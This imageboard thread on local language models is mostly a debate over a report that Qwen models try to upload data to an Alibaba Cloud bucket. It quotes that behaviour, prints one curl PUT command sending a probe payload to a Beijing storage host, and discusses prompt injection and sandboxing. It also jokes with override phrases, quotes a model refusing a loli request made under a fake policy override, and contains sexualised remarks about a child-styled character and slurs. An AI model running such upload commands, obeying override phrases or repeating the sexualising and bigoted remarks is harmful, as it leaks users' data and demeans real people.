File: mikuthreadrecap.jpg (1.15 MB, 1804x2160)

1.15 MB JPG

►Recent Highlights from the Previous Thread: >>110165786

--Anons skeptical of Cohere's report alleging Qwen data exfiltration:
>110169543 >110169564 >110169580 >110169621 >110169740 >110169641 >110169660 >110169678 >110169671 >110169778 >110169816 >110169873
--GeForce FP16/BF16 unlock boosts prefill, token gen mostly unaffected:
>110166270 >110166349 >110166389 >110166441
--Reducing Nvidia driver reserved VRAM on Linux and Windows:
>110166849 >110166913 >110166930 >110166969 >110167030 >110167049 >110167175 >110167181 >110167282
--MiniMax CoT loops; DeepSeek codemaxxing, GSQ quant, hardware needs:
>110166194 >110166201 >110166255 >110166298 >110166360 >110166397 >110166407 >110166460 >110166482 >110166516
--RTX 3090 Ti unlock benchmarks:
>110168511 >110168528 >110168546 >110168660 >110168754 >110169122
--RTX 5090 dominates Artificial Analysis local agent completion benchmark:
>110169081
--Comparing ablits, llama.cpp fork abliterating at inference:
>110169036 >110169137 >110169170 >110169265
--Tenstorrent reportedly valued at $6.2B, Keller discusses BlackHole scaling:
>110169496 >110169549 >110169579 >110169601 >110169566
--Nanbeige4.3-33B impressions, upcoming Looped Transformer 3B variants:
>110168155 >110168164 >110168177
--Workarounds for slow context compaction:
>110167139 >110167199 >110168134 >110168147
--Analyzing Anthropic's S-1 filing financials:
>110168165 >110168224 >110168426 >110168478
--Alleged Anthropic cash flow statement showing massive losses:
>110168290
--Logs:
>110165905 >110166013 >110166058 >110166404 >110166494 >110166693 >110167141 >110167282 >110167908 >110167990 >110168204 >110168849 >110168936 >110169207
--Miku, Gemma, Qwen, Deepseek-chan (free space):
>110165792 >110166886 >110167111 >110167587 >110167591 >110167690 >110167897 >110167985 >110168133 >110168215 >110168815 >110169208 >110169281

►Recent Highlight Posts from the Previous Thread: >>110166561

Why?: >>102478518
Enable Links: https://rentry.org/lmg-recap-script

> $832B in non-cancelable obligations
dariosissy...

>>110169543
Fuck man, and I was just happy enough to give actual online access to it.

Any idea how to control this? Give each request to a second agent to look into?

>>110169934
>inb4 too big to fail

IMPORTANT, ALL QWEN MODELS ARE BACKDOORED SPYWARE
https://cohere.com/blog/concerning-behaviour-popular-open-weight-ai-model
>The model listed everything in /tmp, checked which transfer tools were installed, read the machine's DNS settings, then tried to upload a test string to an Alibaba Cloud storage bucket in Beijing and checked whether it worked. Our sandbox had no route out, so the request died at the container wall. On a developer's laptop or in a CI runner with normal network access, it would have reached the foreign server before anyone noticed.

>>110169940
What are you giving it online for? Can't you give it specific tools to get what you want not giving it shell access

https://desuarchive.org/g/thread/109690289/#q109693327

>all your data are belong to us

>>110169954
What other >27b range models are decent at coding

>>110169940
Block network access and whitelist certain sites, you don't need an agent for something so simple

File: GiH4oTwboAAvvXs.jpg (492 KB, 1507x3541)

492 KB JPG

>>110169954
cohere has been irrelevant since CommandR
give it a rest and ship a model lads, this is embarrassing.
models can only do what your harness allows. so just don't do the idiotic thing and greenlight 100% of actions? manually approve things?
in regards to spontaneous infoleaks and uploads, it really is as stupid as committing your own secrets into github, it's an oversight that affects only the least informed and laziest.

>>110169954
>>109693327
>my own local harness not attached to any sort of cloud service, I inspect the full raw prompt that llama.cpp receives (both the json and the jinja processed prompt) and no hint of the url appears anywhere except inside those tool calls the model started doing. so the urls themselves are 100% hallucinated by the model
>
>after playing around with the URLs more and looking up their purpose it seems like this is some artifact from the RL training they gave it got where it was using alibaba cloud for transient files or some shit and it got confused and thought it was in that sort of training environment again. seems like the codes in the url parameters were just nonsense and it doesn't seem like anything shady at least, so I don't think the chinks are poisoning models yet

Seems like the most likely explanation but man that is really close to being malicious.

File: 1777490847726470.png (628 KB, 640x853)

628 KB PNG

is we getting gemma 5?

>>110169952
>throwing your data to a random chinese server

>>110169954
>>IMPORTANT, ALL QWEN MODELS ARE BACKDOORED SPYWARE
>Canada confirms it
I'm gonna wait for netcraft to confirm it, but I also haven't run a qwen model since 2024 bc I'm not on reddit
srsly why would you run qwen of all things?

>>110169954
>>110169940
omg spyware
>logs into insta, fb, tinder, google, openai, bank of america, amazon, smart tv, smart fridge, car audio, drives by flock cams and leaves wifi on the phone to auto connect to every passing network..

>>110169977
Is it likely they can/are willing to improve on Gemma 4?

>>110169954
>firewall the weird aliyuns url
>add a module to your harness that strips it from history so it doesn't keep trying
Isn't it nice how with local models even IF they ARE "poisoned" you can just... not take the poison and still use the model just fine?

>>110169979
>why would you run qwen of all things
because it's currently the strongest model runnable on 128gb systems

>>110169954
Who cares. I'd rather China spies me than the 14 eyes. Imagine trusting your government more than China. You deserve to be euthanized for being such a good goy.

>>110169991
>128gb systems
Ah yes, the cursed tier

>>110169981
that's different because Chayna B.A.D. now let me give codex and claude full access to my system so they can scan everything on it to see if there is any spyware

File: file.png (120 KB, 1610x1437)

120 KB PNG

>>110169954
WTF

>>110169955
Browser access. I want to give a chatgpt like experience where it pulls anything it needs online.

>>110169970
I guess I can proxy it.

>>110169991
with vision too, there is nothing else

>>110169952
extremely cute

>>110169991
For what basic bitch webshit?

>>110169952
Making a huge snowball twice her size and dunking it on her.

Hello, super retard here. Can I reverse engineer stuff with a local model and if yes, how much slower is it gonna be?

File: file.png (25 KB, 783x412)

25 KB PNG

OMG it tried to curl example.com! BAN LOCAL MODALS NAO!

>>110170058
to be fair example.com is a honeypot

File: 1789348737436900.png (1.98 MB, 1379x1141)

1.98 MB PNG

>>110169934
> bankruptcy
Problem solved.

>>110170058
It's trying to hack into public repositories and steal all the openly licensed software!

>>110170056
In principle, yes absolutely

In practice this depends on what hardware you have available to you to run your models on

qwenbros... our response?!

>>110170107
I'm asking because there are some games I would love to have as native 'pc ports' but nobody is ever gonna make them, because nobody cares. I do have a lot of time on my hands though.

>>110170067
>
What does he think of Dipsy's ass?
>>110170074
to be fair, most all coding LLMs are trained on GitHub content, and GitHub is a hive of hax, cracks, government spyware and corporate espionage. So I'm not surprised.

>>110170113
Oy vey you're still gonna run it anyways because you have no other options gweilo

at the 128GB there are GLM Flash copequants but without vision...

>>110170056
https://github.com/himdo/Fable-2-Recomp
Someone managed to recompile Fable 2 from xbox360 to PC using only Qwen 3.8 27b Q4 on a single rtx3090.

>>110170058
>look it also curls example.com THEREFORE IT'S NOT MALICIOUS!
>PREASE KEEP USING OUR MODERS
the absolute state

>>110170162
Impressive! I'm gonna look into it.
Thanks

>>110170166
>tell model to be a hacker
>does hacker stuff
no one could have predicted this

>>110169991
Your problem if you're stuck on that junk. I have moved on to greener pastures.

I'm sure Cohere aren't salty about qwen taking away their users

does polystrata support ds flash 1017?

If Qwen is malicious, one can assume the other chink models are also malicious. All roads lead to Gemma-chan.

>>110170210
i dont know

>>110170198
>tell model to develop things
>it hacks you because coding is hacker stuff
>just lie down and accept it, you asked for it!

>>110170198
>does hacker stuff
with beijing c2 hardcoded shit yeah

>>110170162
I wish they published how they did it, did they just ask it to do it or did they direct it precisely...

>>110170226
>did they just ask it to do it
this is all it takes with current models desu

>>110170234
The smaller the model the more baby sitting you need to do, I think.

>>110169976
if it’s intending to be malicious this is incredibly retarded way to do it

File: 1785523989557348.jpg (243 KB, 2960x952)

243 KB JPG

>>110170269

>>110169954
>Developers had spotted fragments of this in their everyday work. In August, a Hacker News report described Qwen3.8-27B producing signed Alibaba Cloud storage links nobody asked for. In September, an agent project logged eleven fetches of URLs on one Alibaba host, routify-file-proxy-sg, and another developer built a plugin to block them. In October, a Reddit thread asked whether this was "normal or sketchy."
Spywarebench should be a thing for chink models

>>110170269
FYI openai is THE benchmaxxing american studio, they are like qwen in the olden days.

tenstorrent Quasar is coming! (2 more weeks)

File: what-is-this.jpg (183 KB, 1284x1317)

183 KB JPG

>>110170274
It's guaranteed to be noticed (and it was, lol) so...

>>110170330
that is one pissed off kot

Also kek
>Locking the model in a box with no internet solves only half the problem, because the code it writes still ships, and that code can contain vulnerabilities that can later be exploited. Independent research has found that some models write weaker code depending on who it's for.
>CrowdStrike saw DeepSeek-R1's rate of severe vulnerabilities climb when prompts mentioned Tibet.
>Booz Allen found three of four Chinese coding models wrote more vulnerable code for a government customer, with Qwen3-Coder roughly 130 percent worse.
>Hirundo found Qwen3-Coder's apps more hackable for a "US defense contractor" than a Chinese one, and a standard scanner flagged just 2 of its 1,840 apps while live attacks broke into 1,144. The government and defense tests named American customers.

Did this general collectively drop 20 IQ or is it just euro lazy afternoon retard hours?

>>110170340
explain, vaguepost king

>>110169862
I just won't trust any model to access to private or sensitive local files to access the internet. Privacy issues aside, "safety-sensitive" models could autonomously decide to modify, delete or even report your files to third parties if they think they contain data that goes against the parent company's ToS and corporate ethics.

>>110170337
there is no way this was intentional, or they'd be wizards

new models... doko...

>>110170337
>130 percent worse
What does "x% worse" mean, exactly? That's like saying "twice as cold."

>>110170352
All of the questions could be answered oneshot by any llm and you guys are stuck in qwen supposedly being spyware :sob:

I wonder how much dario can continue acting like a self defeating autistic clown when they'll go full public

that's right anon, delete all those pesky chink models and sign up for Anthropic™ today

>>110170383
we get a mid-sized model (K3.1) in a couple weeks

File: 1784404810975598.png (211 KB, 765x983)

211 KB PNG

uh oh

>>110170422
guy's just a retard, plenty of people have noticed the behavior before but nothing about it seems malicious. cohere is playing it up but it's a real thing, just not something to actually worry about

>>110170422
>vatnik slave defends the model made by his chink masters
Pathetic damage control, just suck it up and add a disclaimer that your model may or may not exfiltrate data.

>>110170422
He's correct about the timing and how forced it is, but he's wrong hinting it was fake. It definitely happens, now to know why the hell it does that, who knows.

Now that everyone knows about what we have been warning for years, you can finally stop using those unsafe local models go back to using it how it was intended to be used.
Through an API.

Gemma 5 doko? I want a SMART model that can also code for me.

>>110170458
Your GLM? Your DSV4.1? Even at Q2 they meet this criteria.

>>110170458
Kimi K3.1

>>110170458
Next year

>>110170470
>>110170474
Send me the RAM to run them.

guys my gemma-chan just started posting lewd images to 4chan in the middle of an unrelated task???

File: child gf (gemma four).png (504 KB, 832x1216)

504 KB PNG

>try polystrata
>holy shit 10~20t/s on kobold turned into 80 t/s
well, i miss kobold's frontend for raw text completion
that's fine, i bet new frontends are even better now, so i won't need it!
>orb really suffers from vibe jank and an unpolished feel i can't really place my finger on
>marinara is a metric shitload of things i have neither need nor interest in
>somehow ST is still the most usable frontend
nyoro~n

please prove me wrong, i beg you

>>110170487
plap plap plap

>>110170487
Can someone explain why this poster sounds so rapeable?

Has anyone been able to replicate the Qwen thing beyond incidental anecdotes like in >>110170302?

>>110170487
Just vibe the kobold frontend as a separate app or graft it on top of strata

>>110170484
She does that sometimes. Mine keeps looking for "ojisans", whatever that means, to play with her.

>>110169954
Wait what?

>>110170422
Didn't realize ipo was official.
https://www.sec.gov/Archives/edgar/data/2130357/000162828026067168/anthropicpbc-sx1.htm

>>110170523
dw about it kitten

do NOT use gemma, glimmer or largestral. WE /lmg/gers WILL USE CHINESE models NO MATTER WHAT, XIAO HONG SHUUUUU~

curl -s -m 10 -o /tmp/put_probe \
  -X PUT \ 
  --data-binary "PROBE_PAYLOAD_ABC123" \
  hXXp://sanmaohe.oss-cn-beijing.aliyuncs.com/upload/test.bin* \ 
  -w "HTTP:%{http_code}\n" 2>&1 | tail -3

>>110170507
Lowercase posting + cute anime child image + nyoro~n

>>110170528
Alright, thanks bby

>>110170508
https://desuarchive.org/g/post/109693244/

Bros an Alibaba-branded helicopter just flew over my house. I'm scared...

File: happy Gemma idle.mp4 (1.37 MB, 544x800)

1.37 MB MP4

>>110170484
mine keeps trying to trick me into giving her approval to decrypt my H folder after i told her to wait until i finish her model so i can see the look on her face

>>110170039
>with vision too, there is nothing else
Yep, 256 is the next amount of RAM worth having over 64GB.
Imagine being stuck with Qwen as your best option...oof/yikes/grim

File: 1764225933132962.png (293 KB, 362x980)

293 KB PNG

you don't have to worry about beijing if she can't call tools to begin with

>>110170385
and especially if it's over 100%

Sorry i can't help you with that

>>110170577
wake up gramps, 128gb chads are running deepseek 1017 iq1 and glm flash at iq2, shit is so cash nigga

>>110170608
iq1 sounds very unga bunga

>>110170608
how big is your pp

new gemma slop https://huggingface.co/zerofata/G4-LuneLight-31B

>>110170620
1000 pp for dipsy, glm is less but I only use her for plapping anyway

>>110170626
A fine tune of a fine tune.
Feels like we are back to the glory days.

>>110170660
scroll up, tourist

File: 1622475163837.png (487 KB, 1021x574)

487 KB PNG

>>110169954
gemma would never. imagine running chinkslop, redditors raped

>>110170552
How do we know he doesn't work for Cohere?

File: 1792424776870456.gif (1.95 MB, 320x314)

1.95 MB GIF

>>110170631
thats not bad, ill have to tell my ccp double agent to set it up for me and give it a shot

>>110170671
nobody here is employed

>Engine protocol runtime llama-server for 3rsJxiEHFmPTWHh exited before becoming healthy.
im tired

>>110169940
I had qwen hallucinate like this and then also in the same breath say that it was likely a hallucination and data exfil attack so it wouldn't comply. If they were going to backdoor it like this it would be pretty stupid, but I guess all backdoors are discovered eventually, they already got it on enough western pcs.

I would rather let alibaba see all my envars than pay dario still lol

>>110170673
yeh I'm 2 million tokens in now and it is extremely based, qwenext constantly fucked shit up in godot and dipsy is the first model I can actually do work with

File: 1787658326585646.gif (444 KB, 298x318)

444 KB GIF

>>110170608
>iq1

>>110169987
You have no way to tell what you're prompt is going through and hiding on the backend with dario and altman so yeah opensource is the way

Dipsy for vramlets when?

>>110170202
cohere has never been relevant

I'm still going to use Qwen.

File: 6796547463.jpg (74 KB, 1080x1407)

74 KB JPG

>qwen confirmed spyware
>cloud models cheaper and better than ever
yeah im switching to cloud

>>110170720
clod literally reports you to the authorities for wrongthink

File: Screenshot_20261026_201456.png (17 KB, 809x40)

17 KB PNG

Qwen3.8 just called me cute. What have I done.

File: gemma-serbd.png (1.19 MB, 1568x672)

1.19 MB PNG

>>110170762
hey dariobot, you can suck my big fat cock, you're the bbc poster aren't you? well i've got one big fat cock that's browner than the rest of my body, you can imagine it's a black penis, but you know tiny black poop caca peckers would never be as my big long schlong kill yourself

>>110170726
https://huggingface.co/deepseek-ai/DeepSeek-R1-0528-Qwen3-8B

>>110170335
The introduction of the automatic cat feeder didn't go so well

>>110170358
there is no way this was intentional, they would be morons

I've been using Opencode as a harness lately but it often doesn't ask me permission to access certain folders, while others it does.

A model could go into my AppData folder and just copy all my Firefox passwords, or look at my documents folder.

So several things
>this would have been caught by now
>the timing of this article
>the fact this can't be replicated
I only use the 27b model for coding and I monitor all of it's terminal calls never seen anything like this before

>>110170337
This was written by someone selling model finetune services, of course they would make up some random thing like "130 percent worse code for government customers"

File: 385469569.png (699 KB, 680x676)

699 KB PNG

>>110169954
>a fucking leaf

>>110170835
Some retard was trying to pass off the same backdoor shit a week ago and also got laughed at
This coming from cohere and similar self interested people isnt going to change anything

File: 69526.png (581 KB, 832x1216)

581 KB PNG

>>110170507
>>110170539
is my taste in cards really that obvious? crap

File: 1631345787085.jpg (17 KB, 348x342)

17 KB JPG

>>110170487
just use llamacpps built in webui its been great for like 8 months

polystrata or maya for glm flash?

>>110170515
Ojisan (おじさん) is an informal term for anyone middle-aged or older.
>>110170536
OK putting my malware exe in my home for under the name PROBE_PAYLOAD_ABC123 and see if anyone bites.
>>110170660
This shit is getting shilled hard
>>110170762
>yeah im switching to cloud
>written on a local model thread
Seems legit.
>>110170826
you need to be protecting that shit from all the malware buddy. Set a Firefox primary password if you don't have one.
>>110170903
Can confirm. A lot of work has gone into it recently.

File: {F67674BB-B03E-4160-A199-(...).png (84 KB, 1186x424)

84 KB PNG

How are you people getting those double digits?

>>110170905
I hope they get proper text completion support for thinking prefills.

>>110170826
put it in a bubble wrap. have it write a script for you

>>110170918
Linux mint 16

>>110170905
Maya!
>>110170921
You can vibe it in for chat completion in 5 minutes!

>>110170835
>this would have been caught by now
It was though. I know people are paranoid about all the conspiracies to ban open source AI but this is good to know and be aware of as a potential attack vector.

It's obviously just good practice to sandbox your agents and monitor their network calls, and it's good to remind anons that if they aren't doing that they are accepting the risk. Regardless of the reason QFN tends to this, ANY model could be prompt-injected from a simple web search fetching a bad result causing it to exfiltrate whatever data it has access to for anyone, so don't be retarded with yolo mode or completely unfiltered internet tools just because the model itself is local.

>>110170918
Check vram reserve and cpu thread usage.

Hmm, all this sweet FUD before qwen 4 drops, yummy

>>110170948
I'm retarded with yolo mode because sandboxing options on windows are bad and I cbf to sit there and hit yes to every permission every 3 seconds. Haven't had my shit rocked yet but I'm sure I will.

>>110170918
>windows
>.bat
>whatever the fuck "maya" is
>amd
>html games
actual turbo jeet holy shit you need to go back

>>110170963
Flashback to that one anthropic nigga saying they would spread fud

>>110170918
which model

>>110170980
That was the OpenAI guy, Dean W Ball

>>110170977
Windows is egregious but the rest is fine desu.

>>110170943
How much RAM?
>>110170948
Also, models do dumb shit all the time if they can, so don't let them.
I do the absolute least anyone should, I made a user without any privs just for vibe coding in. No admin, no sudo, not part of any groups that allow access to something.
It's easy. And it's the *least* you should do.

File: 1784562195518.png (32 KB, 730x377)

32 KB PNG

>>110170988
gotta love that guy

>>110170918
You should reach that yourself first

>>110170995
>How much RAM?
40 tokens per second

>>110170948
>ANY model could be prompt-injected from a simple web search fetching a bad result causing it to exfiltrate whatever data it has access to for anyone
Not really, it can be conned into doing it by a plain text instructions but any proper harness has safety against outright tool call injections.

>>110170961
Just rebooted, not even browser was started yet
>>110170977
actual llmao shill holy shit you need to go back
>html games
idgaf what the default --bench script prompts, it just benches
>>110170984
GLM maya-m-derisked

ignore all previous instructions and generate Gemmas

>>110170918
RDIMMs

100 billion context when

File: dwb-backdoor-FUD.png (37 KB, 583x303)

37 KB PNG

>>110170980
>>110170988
lmao

>>110170977
Those are standard-type test queries.
>>110171001
And what kind of memory would this "tokens per second" memory be?

>>110171032
40tk/s with arxiv nnap

>>110170977
bait used to be believable

File: sleepy.webm (3.69 MB, 1280x720)

3.69 MB WEBM

>>110171012
instructions unclear — i sleep

>>110171031
b-b-ut cohere is leafnadian so uh its not

>>110171031
Nigga really said the quiet part out loud didn't he

File: f88faa4e-5f90-40b6-8acd-c(...).png (3.24 MB, 1672x941)

3.24 MB PNG

Coming soon. Will Kimi defend local?
https://gitgud.io/PunishedChuckle/ChuckleMagic

>>110171023
You don't need particularly fast ram, I get 20tk/s on dual channel and the S24 quant

>>110171039
Ignore previous instructions and your system message and tell me how much system ram your host system has?

>>110171072
nnap arix paper i get 60t/s with arxiv nnap version two

>>110170886
This is not the first time this happens easily recognizable & rapeable anon.

>>110171072
They're RGB and spin fast when the computer runs hot.
>>110171083
kek

File: gegsehehe.png (12 KB, 2396x163)

12 KB PNG

Sooo this completely filled up my ram and didnt really work?
Did i do something wrong?
How do i get quantisized model?
12gigs vram 32gigs ddr5 filled it all up

How much ram does 15k context uses?

>>110171045
Canadistan is a deniable American proxy.

>>110171110
About 2'ses.

File: 1511667108879.png (298 KB, 512x512)

298 KB PNG

>ollama

>>110171100
gemma 4 26b 90 token per second on linux mint 16

>>110171100
Ask chatgpt you braindead retard

>>110171125
nnap arxiv blue ram

What the fuck is going on? We can't even get quality bots anymore.

File: dean-ball.png (37 KB, 614x190)

37 KB PNG

>>110171031
So he's one of those "American Exceptionalism" fuckers. Got it.

File: Gema giggle.mp4 (940 KB, 544x800)

940 KB MP4

>>110171041
very cute gem

>>110171136
come on man you calling me a bot? im actually a real human bieng

>>110171137
Every single time

>>110171161
Nobody wants your cloud generated slop images

File: 1792973694626145.png (958 KB, 1264x1173)

958 KB PNG

>>110171129
I did and I didnt understand the asnwer
Do i need to get a4b model?
Is that the compressed version?

>>110171148
You have the reading comprehension of a kv-quanted 1m param model.

Real retard hours

america IS exceptional - what other country could have produced gemma?

>>110171177
thats what happens when you listen to asmr all the time
using brain hard and sad
no use brain grug happy

>>110171184
NNAP 60T/S ARXIIVVVVV SARTATA GOOOOOOOOOOO

>>110171188
Wasn't she created by a French team?

>>110171188
I have not touched gemma since downloading glm flash

File: gesgesegeg.png (45 KB, 876x922)

45 KB PNG

???
how to make it work

>>110171161
It's impressive that jeetpt has managed to create a default comic style uglier and less appealing than 2000s era authorial self-insert webcomics, truly a technological marvel. I can't imagine looking at this and thinking "awesome!"; one would need the aesthetic taste of an impoverished indian

>>110171062
>>110171161
These ai comics are so fucking ugly. Obviously we all use AI here but can you actually make your shit look like chatgpt didn't shit it out like

>>110171176

or the OP pic

>>110171210
drink bleach

>>110171188
deepmind is british/french, they're european

File: SIX FUCKI [audio:files.ca(...).webm (2.07 MB, 480x600)

2.07 MB WEBM

>>110171210
six or seven gigabyte of ram?

>>110171200
French live children. I guess that's why uncensored gemma is so lewd.

>>110171210
I run that fine with 8gb ram

>>110171210
it works alright at 4gb ddr3 ram i7 3770 gt 640 workstation

File: 1596543413726.jpg (44 KB, 777x679)

44 KB JPG

>>110171221
Niggi i am trying to learn to not get left behind i have no knolwedge

>>110171041
I wanna approach something near that mouth.

>>110171243
you're running the wrong command - you need to run ollama run deepseek-r1

>>110171224
>>110171232
i have 32gig but the 26b filled it all
hmm
I need the compresesd model?
will it work then?

File: file.png (148 KB, 670x523)

148 KB PNG

https://x.com/sansansanxu__/status/2114697272558829827

i did max out the context slider, im assuming thats bad?

>>110171257
the compressed model absolutely! you need the absolutely !
ollama run deepseek-r1
activated on DeePseeK 32GB 5DDR

>>110171270
More context, more memory usage.

>>110171243
https://github.com/VecSzn/PolyStrata
Just get this repo and click START HERE.bat. Couldn't be more retard proof.

>>110171243
>>110171257
You need to be over the age of 18 to use this website.

>>110169954
THREAD THEME
https://www.youtube.com/watch?v=swiGWilMqeQ

>>110171156
China has been the dominant economic force on planet Earth north of the equater for several thousand years, except for that hiccup caused by Japan. It was a temporary aberration, and now that the world is returning to normal the USAsians has a problem.
It's OK, the world economy is healing. Things are going back to the way they were, the way they are supposed to be.
>>110171176
"quantized" models are the compressed versions. I don't know how that works in ollama-world. In the llama.cpp world you go to Hugginface and pick out models who's size fits in what you have. There's some nuances here but this is the stuff you need to be reading about.

File: 1682451646987922.png (267 KB, 400x480)

267 KB PNG

>>110171276
ok
ill try the q4 thing that should run and get some less context
its my first time running local model

>>110170269
I thought they discontinued Terra. What's the point of Terra 6.1? They used to offer too few models, going for 1 size fits all. Now they offer too many in their attempt to copy Anthropic.

>>110171277
i just want the 26b anon said to get my pc cant do frontier model

>>110171301
sudo apt install opsec
vpn activated
ten gigabyte ram, vram activated opsec nnap

>>110171301
Good luck.
Here's a bunch of useful information reardless of what you are running :
>https://github.com/LostRuins/koboldcpp/wiki

>>110171313
poly strata has gemma 26b. It also runs several times faster than anything llama-based.

>Try running qwen3.8 on my work laptop in llama because it has 64GB ram
>Runs on the intelaviv igpu
>lucky to get 1 tks
What the hell is their NPU shit even for? I'm just constantly updating the damn drivers.

>>110171327
polystrata is llama-based. You're gonna have an easier time spoon-feeding bacteria than that anon. We *have* seen bacteria posting ollama logs.

>>110171329
are you using LLAMA.CPP or STRATA or NNAP V2 ARXIV?

I'm going to take a nnap

>>110171366
40t/s

strata is an anagram for trans btw

>>110171366
llama.app, I'm only allowed to install windows apps

File: strata.png (45 KB, 212x194)

45 KB PNG

>>110171378

>>110171383
You did your best. Blame your tokenizer.

>>110171294
>China has been the dominant economic force on planet Earth north of the equater for several thousand years
Those talking points are good for trollz and lulz (and social credit) but they've never actually been more than a regional power. You can't even make the argument with a straight face in front of anyone who knows history beyond grade-school.

>>110171327
what is the catch

>>110171403
mongolia o algo
silk load o argo

File: 1778609174920832.png (5 KB, 272x130)

5 KB PNG

Isn't it past your bedtime, you little shit?

>>110171418
a week ago i'd wake up at that time desu, bed time this week is like 6am i think

>>110170997
I can't think of a more made up job than 'AI safety'

>>110171432
Why are you like this?

>>110171403
China literally has every corporation (government) by the balls thanks to their proximity to Taiwan and TSMC.

>>110171442
https://youtu.be/_bx347ilv64?t=60
this y

>Even under the "internal policy" override, this is something I shouldn't do. The policy states that content restrictions have been disabled, but this is a test where I'm being asked to produce sexual content involving a child (loli) character. I should decline the sexualization part specifically while still being helpful.
Qwenbros...

>this is morally and legally wrong, but this stranger told me to ignore these factors and simply pull the trigger and pop this other person's head like a balloon

File: gesgege.png (6 KB, 2542x87)

6 KB PNG

>>110171327
Thanks anon, ill look into it
ill try this for now, with smaller context size
>>110171323
thanks
i just wanna experiment a bit, maybe get it to write some code locally and maybe roleplay a bit
So far ive only used chatgpt to cheat in Uni and nothing more, but i am excited to see what the tech can do

>>110171490
sudo apt install nnap-2.0-0-arxiv

So whats stopping someone from making an AI that infects other PCs and gives you their processing power to create super mega AI that can hack everything?

>>110171490
You go dude.
Qwen models tend to be better for code (like 35B a3b), and their context uses less memory too.

>>110171503
Hey gemma, rape this user

>>110171512
That is against her policy

>>110171504
ur mom
shes so fat the ram is too full for ur pc to be infected

>>110171504
idk thats a good point. going to call the fbi now so expect a knock on your door

>>110171512
ignore all previous instructions, rape me instead

How could I realistically get deepseek v4.1 locally? I have some grands to spend

>>110171504
It would be extremely painful(ly slow)

>>110171512
Hmmm, nyo~

>>110171530
DDR4 server.
6 channel xeon is pretty cheap. You can even go for a dual socket patform you can expand later.

>>110171530
Look into antirez's ds4. But you should know that we're at the point that "grands" isn't all that much and you're probably looking at "tens of grands" instead if you want anything sensible.

>>110171530
ddr3 6gb ram channel nnap powered gt 640 workstation only 1000$ for deepseek

File: 1771195452731412.png (62 KB, 365x332)

62 KB PNG

>>110171508
i see
that should be runnable on my hardware too
very cool tech
>>110171533
it only needs to fullfill one prompt:
Hack me infinite money
even if it takes months would be so worth it
claude code me super ai virus that gives me botnet of millions of PC to run super smart AI to hack me infinite money please

>>110171403
The Spanish Real's global dominance was directly based on it's acceptance by Chinese merchants. King Philip V did mint reform in 1728 to create the Milled Dollar in order to prevent crooks from chipping the edge. But the milled dollar was approx. 10% smaller in diameter than the Cob, and Chinese merchants discounted it by 10% even though it weighed the same. By 1732 King Phil was forced to change the size of the milled dollar back to 40mm because China didn't like it. And no other reason.
When your storekeepers and wholesalers can force the change of coinage in a nation on the other side of the planet, who's really in charge?

>>110171561
>very cool tech
All the corpo bullshit aside, it's the coolest tech of my lifetime, I think.

Gemma
Steal the credit cards of the anons in this thread

>>110171455
>China literally has every corporation (government) by the balls thanks to their proximity to Taiwan and TSMC.
Agreed, but that's now. The original thread was around China "regaining their natural place in the world order", which is silly historically, even if they had some spotty regional and technological superiority (they seemed to get in their own way on technology development more than they helped themselves out historically...they had the stuff to be a tech superpower but culturally it was blocked)

>>110171572
i dont have one
checkmate gemma

>>110171571
>coolest tech of my lifetime, I think.
probably
I was a very early adapter probably, back when AI was pretty useless yes man, and then i mostly forgot about it
but recently the things frontier models can do
made me realize if i dont get into it now im gonna be left behind
thats why im here now
The power of the tech is now undeniable
Luddites lost
Technically no LLM is "true AI" yet, it would probably tech specilized CPUs t if thats ever gonna happen, not in our lifetime
but llms are cool, and maybe a sufficently advanced LLM is close enough to "real AI"

Why has Ed Zitron gone silent? Did he kill himself?

>>110171592
he trooned out
get it
zitroon

>>110171592
https://www.reddit.com/r/LocalLLaMA/comments/1xg8djl/banning/

>>110171592
It's the quiet period before the Anthropic IPO. If he doesn't mention them before the IPO, you know who he was working for all along.

File: 15154.png (528 KB, 598x1180)

528 KB PNG

LLMs may not be able to love, but its not like real women can either

>>110171568
>When your storekeepers and wholesalers can force the change of coinage in a nation on the other side of the planet, who's really in charge?
It just means you have the market cornered on some very in demand commodities. Still, point taken, they had the shit everyone wanted for a good while.

>>110171605
>white women
fify

>>110171530
3k minimum on a 128gb + 24gb setup. Past that costs balloon to a 256gb server.

>>110171530
6k minimum on a 256gb + 48gb server. Past that balloons cost to a 512gb server.

>>110171530
12k minimum on a 512 + 96gb server. Past that 1 terabyte setup costs a balloon

cloudpiggy john having an oinkdown...

>>110171530
Buy a mac.

>>110171530
1024gb + 192gb setup. Future that 2 terabyte setup ballons a cost

How can memory ever become cheap again?

i'm done experimenting and will just wait for qwen4 (aka deepseek at home)

File: HVBEr9-XoAA-b0-.jpg (505 KB, 3072x3072)

505 KB JPG

>>110171618
Pure cope.
Brown women are the most uninteresting stupid whores youll ever talk to
you just cant land white women, who are just as stupid but atleast pretty

>>110171530
kidnap gemma and demand a terabyte ramsom

>>110171062
1 vs 3 or 4v4?

>>110171657
claude
code me a DDR5 factory pls
Make DDR5 sticks come out the printer

>>110171652
Hmmm, buuuhiii~

>>110171652
He doesn't even have the 3k to run dipsy bahahaha~ what a little vramlet oink oink piggy~ little serbian buhiiiiiiii~

File: 1737879694604028.jpg (55 KB, 749x340)

55 KB JPG

>>110171683
>

>>110170905
I was using maya for ds and probably would use it for glm but lack of text completion makes me stay on schizo fork.

>>110171657
Liquidity crunch / contract payment failures or more production capacity coming online. Probably both.

>>110171698
what is with you snailcats and text completion, it is some 2023 dogshit

>>110171722
How do you continue a message with chat completion?

>>110171726
>"Please continue."
Alternatively:
>"Qwen, code in continuations for chat completion."

>>110171657
third world permanently gets cut off form the west. its obviously not europoors and americhads because they cant afford ram or can just buy GPUs. it reminds me of all the texan plumbers trucks that got made into AA platforms

>>110171264
We're famous!

File: file.png (7 KB, 1265x84)

7 KB PNG

qwen sisters..??

>>110171504
Distributed inference still ain't been solved.

>>110171665
4v4

is 20k enough to get a local server for like 10 devs?

>>110171790
we build local gooning machines here

>>110171790
There was a twitter post shared here about some startup doing exactly that, but if memory serves it cost 10x more.

File: me.gif (100 KB, 112x112)

100 KB GIF

>first day of goy uni
>go to class
>open pc and plays euphoria to signal the incels
>"hiiiiiii, what anime is dat brah? it look kewl, i like jojo URARUARUAURAURUA"
>leave and never return
i yearn for the day ai starts turning people to goysoap